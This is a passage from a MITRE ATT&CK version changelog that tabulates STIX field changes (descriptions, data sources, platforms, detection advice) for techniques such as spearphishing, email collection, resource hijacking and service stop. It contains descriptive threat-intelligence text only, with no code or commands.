campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. |
| x_mitre_data_sources[0] | Social media monitoring | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Mail server | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Email gateway | Network Traffic: Network Traffic Content |
| x_mitre_detection | Depending on the specific method of spearphishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). | Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Philip Winther |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:58:18.490000+00:00 | 2021-03-29 16:13:53.747000+00:00 |
| x_mitre_data_sources[0] | Sensor health and status | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | macOS | Windows |
| x_mitre_platforms[1] | Windows | Azure AD |
| x_mitre_platforms[2] | Linux | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | Office 365 | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Network device logs | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:07.491000+00:00 | 2021-03-08 10:33:02.019000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | File: File Access |
| x_mitre_data_sources[1] | Process monitoring | File: File Creation |
| x_mitre_data_sources[2] | File monitoring | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target an Exchange server or Office 365 to c | t | 1 | Adversaries may target an Exchange server, Office 365, or Go |
| > | ollect sensitive information. Adversaries may leverage a use | > | ogle Workspace to collect sensitive information. Adversaries | ||
| > | r's credentials and interact directly with the Exchange serv | > | may leverage a user's credentials and interact directly wit | ||
| > | er to acquire information from within a network. Adversaries | > | h the Exchange server to acquire information from within a n | ||
| > | may also access externally facing Exchange services or Offi | > | etwork. Adversaries may also access externally facing Exchan | ||
| > | ce 365 to access email using credentials or access tokens. T | > | ge services, Office 365, or Google Workspace to access email | ||
| > | ools such as [MailSniper](https://attack.mitre.org/software/ | > | using credentials or access tokens. Tools such as [MailSnip | ||
| > | S0413) can be used to automate searches for specific keyword | > | er](https://attack.mitre.org/software/S0413) can be used to | ||
| > | s. | > | automate searches for specific keywords. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-19 20:53:50.908000+00:00 | 2021-03-25 13:12:56.909000+00:00 |
| description | Adversaries may target an Exchange server or Office 365 to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords. | Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords. |
| x_mitre_data_sources[0] | Authentication logs | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Email gateway | Logon Session: Logon Session Creation |
| x_mitre_data_sources[2] | Mail server | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Office 365 trace logs |
Current version: 3.1
Version changed from: 3.0 → 3.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 12:26:53.669000+00:00 | 2021-04-13 21:40:23.368000+00:00 |
| x_mitre_data_sources[0] | Network protocol analysis | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Process command-line parameters | File: File Access |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_version | 3.0 | 3.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} | |
| x_mitre_contributors | Daniel Stepanic, Elastic |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage the resources of co-opted systems i | t | 1 | Adversaries may leverage the resources of co-opted systems i |
| > | n order to solve resource intensive problems which may impac | > | n order to solve resource intensive problems which may impac | ||
| > | t system and/or hosted service availability. One common pu | > | t system and/or hosted service availability. One common pu | ||
| > | rpose for Resource Hijacking is to validate transactions of | > | rpose for Resource Hijacking is to validate transactions of | ||
| > | cryptocurrency networks and earn virtual currency. Adversari | > | cryptocurrency networks and earn virtual currency. Adversari | ||
| > | es may consume enough system resources to negatively impact | > | es may consume enough system resources to negatively impact | ||
| > | and/or cause affected machines to become unresponsive.(Citat | > | and/or cause affected machines to become unresponsive.(Citat | ||
| > | ion: Kaspersky Lazarus Under The Hood Blog 2017) Servers and | > | ion: Kaspersky Lazarus Under The Hood Blog 2017) Servers and | ||
| > | cloud-based(Citation: CloudSploit - Unused AWS Regions) sys | > | cloud-based(Citation: CloudSploit - Unused AWS Regions) sys | ||
| > | tems are common targets because of the high potential for av | > | tems are common targets because of the high potential for av | ||
| > | ailable resources, but user endpoint systems may also be com | > | ailable resources, but user endpoint systems may also be com | ||
| > | promised and used for Resource Hijacking and cryptocurrency | > | promised and used for Resource Hijacking and cryptocurrency | ||
| > | mining. | > | mining. Containerized environments may also be targeted due | ||
| > | to the ease of deployment via exposed APIs and the potential | ||||
| > | for scaling mining activities by deploying or compromising | ||||
| > | multiple containers within an environment or cluster.(Citati | ||||
| > | on: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed | ||||
| > | Docker APIs) Additionally, some cryptocurrency mining malw | ||||
| > | are kills off processes for competing malware to ensure it’s | ||||
| > | not competing for resources.(Citation: Trend Micro War of C | ||||
| > | rypto Miners) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['David Fiser, @anu4is, Trend Micro', 'Alfredo Oliveira, Trend Micro', 'Jay Chen, Palo Alto Networks', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:29:17.574000+00:00 | 2021-04-14 12:06:32.187000+00:00 |
| description | Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. | Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs) Additionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners) |
| x_mitre_data_sources[0] | Azure activity logs | Process: Process Creation |
| x_mitre_data_sources[1] | Stackdriver logs | Command: Command Execution |
| x_mitre_data_sources[2] | AWS CloudTrail logs | File: File Creation |
| x_mitre_data_sources[3] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[4] | Process monitoring | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[5] | Network protocol analysis | Sensor Health: Host Status |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Containers |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'} | |
| external_references | {'source_name': 'Trend Micro Exposed Docker APIs', 'description': 'Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html'} | |
| external_references | {'source_name': 'Trend Micro War of Crypto Miners', 'description': 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-17 17:36:24.531000+00:00 | 2021-03-08 10:33:02.128000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Instance: Instance Modification |
| x_mitre_data_sources[1] | GCP audit logs | Instance: Instance Start |
| x_mitre_data_sources[2] | Azure activity logs | Instance: Instance Stop |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-22 21:07:42.451000+00:00 | 2021-04-14 14:29:27.290000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Authentication logs | Web Credential: Web Credential Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web Credential: Web Credential Usage | |
| x_mitre_platforms | Google Workspace |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 15:20:01.069000+00:00 | 2021-04-20 16:31:11.405000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | Container: Container Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[3] | Windows event logs | Command: Command Execution |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_platforms | Containers |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:36:16.978000+00:00 | 2021-03-29 16:05:00.198000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Firewall: Firewall Metadata |
| x_mitre_data_sources[1] | Azure activity logs | Firewall: Firewall Enumeration |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Process: Process Creation |
| x_mitre_data_sources[3] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[4] | Process monitoring | Process: OS API Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | SaaS |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:56:03.131000+00:00 | 2021-03-29 16:11:12.815000+00:00 |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network device logs | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web application firewall logs | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web logs | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_platforms | SaaS |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may stop or disable services on a system to rend | t | 1 | Adversaries may stop or disable services on a system to rend |
| > | er those services unavailable to legitimate users. Stopping | > | er those services unavailable to legitimate users. Stopping | ||
| > | critical services can inhibit or stop response to an inciden | > | critical services or processes can inhibit or stop response | ||
| > | t or aid in the adversary's overall objectives to cause dama | > | to an incident or aid in the adversary's overall objectives | ||
| > | ge to the environment.(Citation: Talos Olympic Destroyer 201 | > | to cause damage to the environment.(Citation: Talos Olympic | ||
| > | 8)(Citation: Novetta Blockbuster) Adversaries may accompli | > | Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries | ||
| > | sh this by disabling individual services of high importance | > | may accomplish this by disabling individual services of hig | ||
| > | to an organization, such as <code>MSExchangeIS</code>, which | > | h importance to an organization, such as <code>MSExchangeIS< | ||
| > | will make Exchange content inaccessible (Citation: Novetta | > | /code>, which will make Exchange content inaccessible (Citat | ||
| > | Blockbuster). In some cases, adversaries may stop or disable | > | ion: Novetta Blockbuster). In some cases, adversaries may st | ||
| > | many or all services to render systems unusable.(Citation: | > | op or disable many or all services to render systems unusabl | ||
| > | Talos Olympic Destroyer 2018) Services may not allow for mod | > | e.(Citation: Talos Olympic Destroyer 2018) Services or proce | ||
| > | ification of their data stores while running. Adversaries ma | > | sses may not allow for modification of their data stores whi | ||
| > | y stop services in order to conduct [Data Destruction](https | > | le running. Adversaries may stop services or processes in or | ||
| > | ://attack.mitre.org/techniques/T1485) or [Data Encrypted for | > | der to conduct [Data Destruction](https://attack.mitre.org/t | ||
| > | Impact](https://attack.mitre.org/techniques/T1486) on the d | > | echniques/T1485) or [Data Encrypted for Impact](https://atta | ||
| > | ata stores of services like Exchange and SQL Server.(Citatio | > | ck.mitre.org/techniques/T1486) on the data stores of service | ||
| > | n: SecureWorks WannaCry Analysis) | > | s like Exchange and SQL Server.(Citation: SecureWorks WannaC | ||
| > | ry Analysis) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-24 15:36:08.042000+00:00 | 2021-03-02 22:11:32.017000+00:00 |
| description | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis) | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis) |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Windows Registry | Service: Service Metadata |
| x_mitre_data_sources[4] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Process: Process Termination |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 17:21:27.487000+00:00 | 2021-04-13 21:30:24.555000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_detection | Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. | Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'BSidesSLC 2020 - LNK Elastic', 'description': 'French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.', 'url': 'https://www.youtube.com/watch?v=nJ0UsyiUEqQ'} | |
| x_mitre_contributors | David French, Elastic | |
| x_mitre_contributors | Bobby, Filar, Elastic |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:36:17.133000+00:00 | 2021-03-29 16:05:00.456000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Firewall: Firewall Metadata |
| x_mitre_data_sources[1] | Azure activity logs | Firewall: Firewall Enumeration |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Process: Process Creation |
| x_mitre_data_sources[3] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[4] | Process monitoring | Process: OS API Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring | |
| x_mitre_platforms | SaaS |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious a | t | 1 | Adversaries may send spearphishing emails with a malicious a |
| > | ttachment in an attempt to gain access to victim systems. Sp | > | ttachment in an attempt to gain access to victim systems. Sp | ||
| > | earphishing attachment is a specific variant of spearphishin | > | earphishing attachment is a specific variant of spearphishin | ||
| > | g. Spearphishing attachment is different from other forms of | > | g. Spearphishing attachment is different from other forms of | ||
| > | spearphishing in that it employs the use of malware attache | > | spearphishing in that it employs the use of malware attache | ||
| > | d to an email. All forms of spearphishing are electronically | > | d to an email. All forms of spearphishing are electronically | ||
| > | delivered social engineering targeted at a specific individ | > | delivered social engineering targeted at a specific individ | ||
| > | ual, company, or industry. In this scenario, adversaries att | > | ual, company, or industry. In this scenario, adversaries att | ||
| > | ach a file to the spearphishing email and usually rely upon | > | ach a file to the spearphishing email and usually rely upon | ||
| > | [User Execution](https://attack.mitre.org/techniques/T1204) | > | [User Execution](https://attack.mitre.org/techniques/T1204) | ||
| > | to gain execution. There are many options for the attachmen | > | to gain execution. Spearphishing may also involve social eng | ||
| > | t such as Microsoft Office documents, executables, PDFs, or | > | ineering techniques, such as posing as a trusted source. Th | ||
| > | archived files. Upon opening the attachment (and potentially | > | ere are many options for the attachment such as Microsoft Of | ||
| > | clicking past protections), the adversary's payload exploit | > | fice documents, executables, PDFs, or archived files. Upon o | ||
| > | s a vulnerability or directly executes on the user's system. | > | pening the attachment (and potentially clicking past protect | ||
| > | The text of the spearphishing email usually tries to give a | > | ions), the adversary's payload exploits a vulnerability or d | ||
| > | plausible reason why the file should be opened, and may exp | > | irectly executes on the user's system. The text of the spear | ||
| > | lain how to bypass system protections in order to do so. The | > | phishing email usually tries to give a plausible reason why | ||
| > | email may also contain instructions on how to decrypt an at | > | the file should be opened, and may explain how to bypass sys | ||
| > | tachment, such as a zip file password, in order to evade ema | > | tem protections in order to do so. The email may also contai | ||
| > | il boundary defenses. Adversaries frequently manipulate file | > | n instructions on how to decrypt an attachment, such as a zi | ||
| > | extensions and icons in order to make attached executables | > | p file password, in order to evade email boundary defenses. | ||
| > | appear to be document files, or files exploiting one applica | > | Adversaries frequently manipulate file extensions and icons | ||
| > | tion appear to be a file for a different one. | > | in order to make attached executables appear to be document | ||
| > | files, or files exploiting one application appear to be a fi | ||||
| > | le for a different one. | ||||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Philip Winther'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 01:52:25.316000+00:00 | 2021-04-01 16:21:17.553000+00:00 |
| description | Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. | Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. |
| x_mitre_data_sources[0] | File monitoring | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Network Traffic: Network Traffic Flow |
| x_mitre_detection | Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. | Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client 